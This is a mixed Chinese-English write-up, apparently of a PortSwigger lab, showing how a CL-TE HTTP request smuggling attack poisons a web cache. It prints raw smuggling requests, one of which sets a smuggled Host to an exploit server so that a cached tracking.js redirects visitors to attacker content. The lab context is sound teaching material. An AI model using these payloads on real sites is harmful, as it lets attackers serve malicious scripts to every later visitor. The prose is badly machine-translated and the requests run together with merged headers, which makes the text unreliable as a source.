Analysis of Http-Sumggling Cache Vulnerability

当httprequest for smuggling andwebWhat kind of sparks will the caches meet?,让我们看看.

在接触Http Sumggling Before the cache bug,我们需要先对Http Sumggling和WebCaching knows something.

什么是Web缓存

WEBCache refers to the static files of the website,比如图片、CSS、JS等,when visiting the website,The server will cache these files,so that it can be read directly from the cache on the next access,No need to request the server again.

The cache is located between the server and client,A response that is saved for a fixed time and is usually set for a specific request to optimize the user's browsing experience or to reduce access to the server for other reasons.,Common cache points are：

• Backend program cache

• 服务器缓存

• 浏览器缓存

• 缓存服务器

• CDN缓存

The most common is undoubtedlyCDNand similar cache servers.

In order for the cache to determine whether it needs to provide cached content,在httpwill be present in the request缓存键 X-Cache,What the cache key is called is up to the architect,but it's a concept.

什么是web缓存漏洞

如上图所示,Assumption of small purple yellow green all the server with a number of specific request,Then when Xiao Zi first accesses the server,through the cache keyX-Cache: Miss的判定,is the first visit,所以直接连接到Server服务器,And then the little yellow、When Little Green accesses the same file again, it will be judged asX-Cache: Hit,The only connectionCache缓存服务器,no longer connected toServer服务器,thereby reducingServerThe operating load of the server.

This is undoubtedly a very good design,But once it is used by people with intentions,Then something bad will happen.

如图,When an attacker changed some packages sent to the backend,Causes the backend to return some malicious data,比如xss、注入等问题,And because of the caching mechanism,Subsequent normal user access will read malicious buffer cache server,这就是常见的web缓存漏洞,Also called cache poisoning.

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Http Sumggling

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,The holes are the main reasons for the different serverRFCThe specific implementation of the standard is different.

Generally can be divided into the following：

• CL: Content-Length

• TE: Transfer-Encoding

• CL不为0的GET请求

• CL-CL

• CL-TE

• TE-CL

• TE-TE

在[email protected]知道创宇404实验室The article discusses in great detail,I won't repeat it here.

paper.seebug.org/1048/#35-te…

Http Sumggling 缓存漏洞

靶场

依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场.

解法

Determine whether there is smuggling,确定为CL-TE.

POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked​0​GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10​x=1
复制代码

第一次请求为：

POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked​
复制代码

The second request is the second half：

GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10​x=1
复制代码

可以看到存在302跳转.

Then we need to find where to do the cache attack,这里我以/resources/js/tracking.js进行攻击.

可以看到X-Cache为miss,So that we can take advantage of the changes,perform a cache attack.

• 先点击send post包

  POST / HTTP/1.1Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 195Transfer-Encoding: chunked​0​GET /post/next?postId=3 HTTP/1.1Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/Content-Type: application/x-www-form-urlencodedContent-Length: 10​x=1
  复制代码

  access to part one：

  

• 然后在/resources/js/tracking.js send包：

  

  A successful attack can be found,The cache key ismiss,The next packet should switch can be successfulexploit上,我们试试.

• Capture the original interface,多抓几次.

  

  发现hostsuccess becomes oursexploit.

后言

漏洞越来越多,也会越来越复杂,Is no longer a single some loopholes that simple,Compounding multiple vulnerabilities is a sign of the future.

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